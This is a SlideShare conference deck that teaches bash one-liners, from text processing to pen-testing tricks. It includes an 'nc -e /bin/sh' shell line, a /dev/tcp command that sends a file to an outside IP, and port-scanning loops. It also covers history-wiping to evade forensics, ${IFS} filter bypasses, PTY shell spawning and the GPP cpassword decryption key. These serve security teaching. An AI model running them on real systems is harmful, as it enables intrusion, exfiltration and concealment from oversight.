SlideShare a Scribd company logo
1 of 57
Download to read offline
One-Liners to Rule
Them All
egypt
wvu
What this is
Bash basics
● Minor portability considerations
One-liners and demos of stuff we find to be useful
@egyp7 @wvuuuuuuuuuuuuu
What this isn’t
Linux system administration
● Although there is some amount of overlap
Reading the man page to you
@egyp7 @wvuuuuuuuuuuuuu
`man bash` is
cavernous
There are resources to help
From the abstract
Sometimes you just need to pull out the third column of a CSV
file. Sometimes you just need to sort IP addresses. Sometimes you
have to pull out IP addresses from the third column and sort them,
but only if the first column is a particular string and for some
reason the case is random.
Up, edit, enter, repeat
cat file
cat file | grep open
cat file | grep -i open
cat file | grep -i open | cut -d, -f3
grep -i open | cut -d, -f3
grep -i open | cut -d, -f3 | sort -V
awk -F, 'tolower($1) ~ /open/ { print $3 }' file | sort -V
Conventions
Commands are usually suffixed with a man(1) section
Almost all of what we’re talking about here is man section 1
But there’s naming overlaps with syscalls (man section 2), C
functions (man section 3), and occasionally config files (man
section 5)
Core Concepts
● Pipes and redirection
● Variables and substitution
● Standard tools
● History expansion
● Brace expansion
● Tilde expansion
Pipes and Redirection
Pipes and Redirection
● echo wut | cat
● echo wut > /tmp/wut
○ cat /tmp/wut
○ cat < /tmp/wut
File descriptors: &0 &1 &2 &n
nc -e /bin/sh [...] exec 2>&1
exec 3<>/dev/tcp/10.1.1.1/80;echo $'GET / HTTP/1.0n' >&3;cat <&3
Standards
grep(1), sed(1), cut(1), sort(1), awk(1)
Builtins -- echo, test, read, while, for
grep Searches in Text
Regular expressions are tricky, but you can learn the basics
quickly. A large portion of regexes involve these three things:
● .* any number of characters
● ^ anchor at beginning
● $ anchor at end
grep '500.*Chrome' /var/log/apache2/error.log
sed is an Editor
sed -e 1d -e s/foo/bar/g /tmp/foo
sed '1d; s/foo/bar/g' /tmp/foo
sed -i '/192.168.0.1/d' /var/log/apache2/access.log
ed is the Standard Editor
cut is a babby awk
echo a,b,c,d,e | cut -d, -f 1-3,5
Roughly equivalent to awk -F, ‘{ print $1 $2 $3 $5 }’
sort … sorts stuff
sort file
cat file1 file2 file3 | sort
sort -u
cat … Concatenates stuff
Lots of folks will tell you not to use cat.
There exists a Useless Use of Cat Award to tell you not to use cat
Don’t listen to those people. Hack the way you wanna hack.
But there’s really no reason to use cat.
Useless Use of Cat
@egyp7 @wvuuuuuuuuuuuuu
uniq is … Unique
Input must be sorted so… “sort -u” covers a lot of it
Except for: uniq -c
● Print each unique line along with the number of times it
occurred
sort | uniq -c
awk is a Language
This is grep: awk ‘/regex/ { print }’
This is cut: awk -F, ‘{ print $2 }’
But wait! There’s more!
Variables and Substitution
foo=$(echo wut); echo $foo
foo=${PATH//:/ } # PATH with spaces instead of :
echo${IFS}wut
echo ${file%.txt} # Strip extension
History Expansion
Handled by Readline
● Controlled with ~/.inputrc
!$ !! !* !^ !:2 !:2-6 !-2
~/.inputrc
$if Bash
Space: magic-space
$endif
set completion-ignore-case on
# Use <up> and <down> to search based on what we've already typed
"e[A": history-search-backward
"e[B": history-search-forward
Brace expansion
Everything inside braces, separated by commas
● echo {a,b,c}
● cp file.{csv,txt}
As a replacement for seq(1)
● {1..99} # same as `seq 1 99`
● {01..99} # Zero-pad
● {01..99..2} # Zero-pad, with a step of 2
Tilde expansion
~user is user’s home dir
● E.g. ~egypt is /home/egypt
~ is the current user’s home directory
● $HOME
~+ is $PWD # Not the same as .
~- is $OLDPWD
Loops
for var in expression; do command; command; done
● for f in *; do mv “$f” “${f/.csv/.txt}”; done
while expression; do command; command; done
● <file while read; do echo “$REPLY”; done
● <file while read line; do echo “$line”; done
until expression; do command; command; done
● Inverse of while loop
Process and Command Substitution
$(), ``
echo $(echo wut)
● Substitutes a command for text
<(), >()
cat <(echo wut)
● Substitutes a command for a file
Aliases
Great for things you find yourself typing all the time
Like macro in C, just direct replacement
E.g.:
● alias ll="ls -aLF"
● alias l.="ls -d .[^.]*"
Examples
Stuff that isn’t super easy to demo
Sort IP Addresses
With GNU sort(1) and modern BSD, OSX:
● sort -V
With POSIX sort(1)
● sort -t . -nk 1,1 -k 2,2 -k 3,3 -k 4,4
sort -u …
sort --debug
Print unique lines without sorting
awk '{ if (!seen[$0]++) print }' /tmp/foo
# array named “seen”, with index of current line
seen[$0]
# will be 0 at first, non-zero after increment
!seen[$0]++
# “print” by itself prints $0, the whole line
Remote stuff with SSH
ssh -J user1@host1 user2@host2
ssh -ND 1080 user1@host1
ssh -NL 3389:desktop-1:3389 user1@host1
ssh -NR 4444:localhost:4444 user1@host1
ssh user1@host1 tee rfile < lfile # Like scp(1) upload
ssh user1@host1 cat rfile > lfile # Like scp(1) download
Remote stuff with bash
gzip -c file > /dev/tcp/192.168.0.1/80
● /dev/tcp is a special magical “file” in bash
● Compile-time option, default now in Debian derivatives
# Shitty portscanner
for port in {1..1023}; do
: 2> /dev/null > "/dev/tcp/192.168.0.1/$port" && echo "$port"
done
Random stuff
xsel -b < file.txt
nc -znv 192.168.0.1 1-1023 |& grep -v refused
Leave No Trace
Files that snitch on you
~/.bash_history
● And ~/.*_history
~/.wget-hsts
~/.lesshst
Editors
● Vim: *.swp files, .viminfo
● Emacs: ~ suffixed files
STFU, /bin/bash
unset HISTFILE
export HISTFILE=/dev/null
ln -sf /dev/null ~/.bash_history
history -c; kill -9 $$
STFU, other stuff
wget --no-hsts
export MYSQL_HISTFILE=/dev/null; mysql
ln -sf /dev/null ~/.psql_history; psql
vim -ni NONE file
ssh -o UserKnownHostsFile=/dev/null
Commands that snitch
ssh(1) uses your current username if you don’t specify one
rdesktop(1) and xfreerdp(1) do the same
ftp(1) does, but doesn’t actually send it until you log in
Local Opsec
~/.ssh/config
User root
~/.netrc
default login anonymous password anonymous@mozilla.org
~/.bashrc
alias rdesktop=”rdesktop -U Administrator”
Commands in Exploitation
Can’t use spaces
echo${IFS}this${IFS}has${IFS}no${IFS}spaces
{echo,this,has,no,spaces}
ls(1), cat(1) aren’t available
echo *
find . -maxdepth 1
while read line; do echo “$line”; done < file
head -n 99999
Read binary over text-only link
Bajillion ways to do this
● base64, xxd, hexdump, hd, od, openssl base64, perl, python
How you parse it on the other side depends on what worked on
target
Write binary over text-only link
printf %b "105114106177" > file.bin
xxd -r -p <<<454c467f > file.bin
perl -e 'print "105114106177"' > file.bin
Bonus!
Everything on the previous two slides is automatic on shell
sessions in Metasploit. Upload and download just work (tm).
Host some stuff
python -m SimpleHTTPServer 8080
python -m http.server 8080
ruby -run -e httpd
php -S 0:8080 # Interprets PHP, too
busybox httpd -p 8080
Spawning a PTY shell
script -q /dev/null # Uses $SHELL and is mostly portable
● script -qc /bin/bash /dev/null # Spawns bash the GNU way
● script -q /dev/null /bin/bash # Spawns bash the BSD way
python -c 'import pty; pty.spawn("/bin/bash")' # Popular!
expect -c 'spawn /bin/bash; interact' # Oldie but goodie
Many other ways (look for openpty(3) calls)
Convert shellcode to hex-escaped bytes
objcopy --dump-section .text=/dev/stdout shellcode | xxd -p | sed
's/../x&/g' | tr -d "n"
● Dump .text section
● Convert to hex
● Escape hex
● Delete newlines
hexdump -ve '"x" 1/1 "%02x"'
● Equivalent to xxd, sed, and tr
Encrypt or decrypt GPP “cpassword”
echo -n demo | iconv -t UTF-16LE | openssl enc -aes-256-cbc -a -iv
"" -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
-nosalt
● Encrypts plaintext “demo”
openssl enc -aes-256-cbc -d -a -iv "" -K
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
-nosalt <<<kHB0+HMUTs/6ySSZ8usxXg==
● Decrypts the above
Resources
http://explainshell.com # Break it down
http://www.tldp.org/LDP/abs/html/ # Classic
http://wiki.bash-hackers.org/ # Awesome
https://mywiki.wooledge.org/BashPitfalls # Good to know
Google site:stackoverflow.com
@egyp7 @wvuuuuuuuuuuuuu
Useless Use of Cat

More Related Content

What's hot

No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016Matthew Dunwoody
 
Ansible Tutorial.pdf
Ansible Tutorial.pdfAnsible Tutorial.pdf
Ansible Tutorial.pdfNigussMehari4
 
Building an IP Reputation Engine: Tracking the Miscreants
Building an IP Reputation Engine: Tracking the MiscreantsBuilding an IP Reputation Engine: Tracking the Miscreants
Building an IP Reputation Engine: Tracking the MiscreantsAlienVault
 
Course 102: Lecture 13: Regular Expressions
Course 102: Lecture 13: Regular Expressions Course 102: Lecture 13: Regular Expressions
Course 102: Lecture 13: Regular Expressions Ahmed El-Arabawy
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemRoss Wolf
 
Malware Static Analysis
Malware Static AnalysisMalware Static Analysis
Malware Static AnalysisHossein Yavari
 
Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...
Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...
Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...Edureka!
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureSergey Soldatov
 
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesWebsecurify
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory PwnagePetros Koutroumpis
 
Chickens & Eggs: Managing secrets in AWS with Hashicorp Vault
Chickens & Eggs: Managing secrets in AWS with Hashicorp VaultChickens & Eggs: Managing secrets in AWS with Hashicorp Vault
Chickens & Eggs: Managing secrets in AWS with Hashicorp VaultJeff Horwitz
 
(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...
(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...
(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...Amazon Web Services
 
Security Concepts - Linux
Security Concepts - LinuxSecurity Concepts - Linux
Security Concepts - LinuxHenry Osborne
 
Secure code practices
Secure code practicesSecure code practices
Secure code practicesHina Rawal
 
LDAP Injection
LDAP InjectionLDAP Injection
LDAP InjectionNSConclave
 
0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for IdentityNikhil Mittal
 

What's hot (20)

Abc of docker
Abc of dockerAbc of docker
Abc of docker
 
No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016No Easy Breach DerbyCon 2016
No Easy Breach DerbyCon 2016
 
Ansible Tutorial.pdf
Ansible Tutorial.pdfAnsible Tutorial.pdf
Ansible Tutorial.pdf
 
Building an IP Reputation Engine: Tracking the Miscreants
Building an IP Reputation Engine: Tracking the MiscreantsBuilding an IP Reputation Engine: Tracking the Miscreants
Building an IP Reputation Engine: Tracking the Miscreants
 
Course 102: Lecture 13: Regular Expressions
Course 102: Lecture 13: Regular Expressions Course 102: Lecture 13: Regular Expressions
Course 102: Lecture 13: Regular Expressions
 
Basic 50 linus command
Basic 50 linus commandBasic 50 linus command
Basic 50 linus command
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 
Malware Static Analysis
Malware Static AnalysisMalware Static Analysis
Malware Static Analysis
 
Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...
Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...
Linux Tutorial For Beginners | Linux Administration Tutorial | Linux Commands...
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
 
Secure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best PracticesSecure Coding - Web Application Security Vulnerabilities and Best Practices
Secure Coding - Web Application Security Vulnerabilities and Best Practices
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
 
Chickens & Eggs: Managing secrets in AWS with Hashicorp Vault
Chickens & Eggs: Managing secrets in AWS with Hashicorp VaultChickens & Eggs: Managing secrets in AWS with Hashicorp Vault
Chickens & Eggs: Managing secrets in AWS with Hashicorp Vault
 
(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...
(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...
(DEV307) Introduction to Version 3 of the AWS SDK for Python (Boto) | AWS re:...
 
Linux And perl
Linux And perlLinux And perl
Linux And perl
 
Security Concepts - Linux
Security Concepts - LinuxSecurity Concepts - Linux
Security Concepts - Linux
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
LDAP Injection
LDAP InjectionLDAP Injection
LDAP Injection
 
Metasploit framwork
Metasploit framworkMetasploit framwork
Metasploit framwork
 
0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity
 

Similar to One-Liners to Rule Them All

Perl - laziness, impatience, hubris, and one liners
Perl - laziness, impatience, hubris, and one linersPerl - laziness, impatience, hubris, and one liners
Perl - laziness, impatience, hubris, and one linersKirk Kimmel
 
Unleash your inner console cowboy
Unleash your inner console cowboyUnleash your inner console cowboy
Unleash your inner console cowboyKenneth Geisshirt
 
Apache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteApache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteAllen Wittenauer
 
NYPHP March 2009 Presentation
NYPHP March 2009 PresentationNYPHP March 2009 Presentation
NYPHP March 2009 Presentationbrian_dailey
 
101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirects101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirectsAcácio Oliveira
 
DevChatt 2010 - *nix Cmd Line Kung Foo
DevChatt 2010 - *nix Cmd Line Kung FooDevChatt 2010 - *nix Cmd Line Kung Foo
DevChatt 2010 - *nix Cmd Line Kung Foobrian_dailey
 
Linux basic for CADD biologist
Linux basic for CADD biologistLinux basic for CADD biologist
Linux basic for CADD biologistAjay Murali
 
Really useful linux commands
Really useful linux commandsReally useful linux commands
Really useful linux commandsMichael J Geiser
 
Learning Puppet basic thing
Learning Puppet basic thing Learning Puppet basic thing
Learning Puppet basic thing DaeHyung Lee
 
RHCSA EX200 - Summary
RHCSA EX200 - SummaryRHCSA EX200 - Summary
RHCSA EX200 - SummaryNugroho Gito
 
Unleash your inner console cowboy
Unleash your inner console cowboyUnleash your inner console cowboy
Unleash your inner console cowboyKenneth Geisshirt
 
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaaShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaaewout2
 
Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Isham Rashik
 
Naughty And Nice Bash Features
Naughty And Nice Bash FeaturesNaughty And Nice Bash Features
Naughty And Nice Bash FeaturesNati Cohen
 
Lets make better scripts
Lets make better scriptsLets make better scripts
Lets make better scriptsMichael Boelen
 
Shell Scripts
Shell ScriptsShell Scripts
Shell ScriptsDr.Ravi
 

Similar to One-Liners to Rule Them All (20)

Bash Scripting Workshop
Bash Scripting WorkshopBash Scripting Workshop
Bash Scripting Workshop
 
Perl - laziness, impatience, hubris, and one liners
Perl - laziness, impatience, hubris, and one linersPerl - laziness, impatience, hubris, and one liners
Perl - laziness, impatience, hubris, and one liners
 
Unleash your inner console cowboy
Unleash your inner console cowboyUnleash your inner console cowboy
Unleash your inner console cowboy
 
Apache Hadoop Shell Rewrite
Apache Hadoop Shell RewriteApache Hadoop Shell Rewrite
Apache Hadoop Shell Rewrite
 
NYPHP March 2009 Presentation
NYPHP March 2009 PresentationNYPHP March 2009 Presentation
NYPHP March 2009 Presentation
 
Unix tips and tricks
Unix tips and tricksUnix tips and tricks
Unix tips and tricks
 
101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirects101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirects
 
DevChatt 2010 - *nix Cmd Line Kung Foo
DevChatt 2010 - *nix Cmd Line Kung FooDevChatt 2010 - *nix Cmd Line Kung Foo
DevChatt 2010 - *nix Cmd Line Kung Foo
 
Shell scripting
Shell scriptingShell scripting
Shell scripting
 
Linux basic for CADD biologist
Linux basic for CADD biologistLinux basic for CADD biologist
Linux basic for CADD biologist
 
Really useful linux commands
Really useful linux commandsReally useful linux commands
Really useful linux commands
 
Learning Puppet basic thing
Learning Puppet basic thing Learning Puppet basic thing
Learning Puppet basic thing
 
RHCSA EX200 - Summary
RHCSA EX200 - SummaryRHCSA EX200 - Summary
RHCSA EX200 - Summary
 
Unleash your inner console cowboy
Unleash your inner console cowboyUnleash your inner console cowboy
Unleash your inner console cowboy
 
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaaShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
ShellAdvanced aaäaaaaaaaaaaaaaaaaaaaaaaaaaaa
 
Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet
 
Docker perl build
Docker perl buildDocker perl build
Docker perl build
 
Naughty And Nice Bash Features
Naughty And Nice Bash FeaturesNaughty And Nice Bash Features
Naughty And Nice Bash Features
 
Lets make better scripts
Lets make better scriptsLets make better scripts
Lets make better scripts
 
Shell Scripts
Shell ScriptsShell Scripts
Shell Scripts
 

More from egypt

Privilege Escalation with Metasploit
Privilege Escalation with MetasploitPrivilege Escalation with Metasploit
Privilege Escalation with Metasploitegypt
 
The State of the Metasploit Framework.pdf
The State of the Metasploit Framework.pdfThe State of the Metasploit Framework.pdf
The State of the Metasploit Framework.pdfegypt
 
New Shiny in the Metasploit Framework
New Shiny in the Metasploit FrameworkNew Shiny in the Metasploit Framework
New Shiny in the Metasploit Frameworkegypt
 
Open Source, Security, and Open Source Security.pdf
Open Source, Security, and Open Source Security.pdfOpen Source, Security, and Open Source Security.pdf
Open Source, Security, and Open Source Security.pdfegypt
 
Authenticated Code Execution by Design.pptx
Authenticated Code Execution by Design.pptxAuthenticated Code Execution by Design.pptx
Authenticated Code Execution by Design.pptxegypt
 
Offensive Security with Metasploit
Offensive Security with MetasploitOffensive Security with Metasploit
Offensive Security with Metasploitegypt
 
Shiny
ShinyShiny
Shinyegypt
 
already-0wned
already-0wnedalready-0wned
already-0wnedegypt
 
Post Metasploitation
Post MetasploitationPost Metasploitation
Post Metasploitationegypt
 
State of the Framework Address: Recent Developments in the Metasploit Framework
State of the Framework Address: Recent Developments in the Metasploit FrameworkState of the Framework Address: Recent Developments in the Metasploit Framework
State of the Framework Address: Recent Developments in the Metasploit Frameworkegypt
 
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit FrameworkUnmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Frameworkegypt
 
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...egypt
 

More from egypt (12)

Privilege Escalation with Metasploit
Privilege Escalation with MetasploitPrivilege Escalation with Metasploit
Privilege Escalation with Metasploit
 
The State of the Metasploit Framework.pdf
The State of the Metasploit Framework.pdfThe State of the Metasploit Framework.pdf
The State of the Metasploit Framework.pdf
 
New Shiny in the Metasploit Framework
New Shiny in the Metasploit FrameworkNew Shiny in the Metasploit Framework
New Shiny in the Metasploit Framework
 
Open Source, Security, and Open Source Security.pdf
Open Source, Security, and Open Source Security.pdfOpen Source, Security, and Open Source Security.pdf
Open Source, Security, and Open Source Security.pdf
 
Authenticated Code Execution by Design.pptx
Authenticated Code Execution by Design.pptxAuthenticated Code Execution by Design.pptx
Authenticated Code Execution by Design.pptx
 
Offensive Security with Metasploit
Offensive Security with MetasploitOffensive Security with Metasploit
Offensive Security with Metasploit
 
Shiny
ShinyShiny
Shiny
 
already-0wned
already-0wnedalready-0wned
already-0wned
 
Post Metasploitation
Post MetasploitationPost Metasploitation
Post Metasploitation
 
State of the Framework Address: Recent Developments in the Metasploit Framework
State of the Framework Address: Recent Developments in the Metasploit FrameworkState of the Framework Address: Recent Developments in the Metasploit Framework
State of the Framework Address: Recent Developments in the Metasploit Framework
 
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit FrameworkUnmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
Unmanned Aerial Vehicles: Exploit Automation with the Metasploit Framework
 
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
Using Guided Missiles in Drive-bys: Automatic Browser Fingerprinting and Expl...
 

Recently uploaded

Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...MyIntelliSource, Inc.
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyFrank van der Linden
 
cybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningcybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningVitsRangannavar
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataBradBedford3
 
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
What is Binary Language? Computer Number Systems
What is Binary Language?  Computer Number SystemsWhat is Binary Language?  Computer Number Systems
What is Binary Language? Computer Number SystemsJheuzeDellosa
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptkotipi9215
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...gurkirankumar98700
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...ICS
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...Christina Lin
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - InfographicHr365.us smith
 

Recently uploaded (20)

Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
Try MyIntelliAccount Cloud Accounting Software As A Service Solution Risk Fre...
 
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The Ugly
 
cybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningcybersecurity notes for mca students for learning
cybersecurity notes for mca students for learning
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
 
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Naraina Delhi 💯Call Us 🔝8264348440🔝
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
What is Binary Language? Computer Number Systems
What is Binary Language?  Computer Number SystemsWhat is Binary Language?  Computer Number Systems
What is Binary Language? Computer Number Systems
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.ppt
 
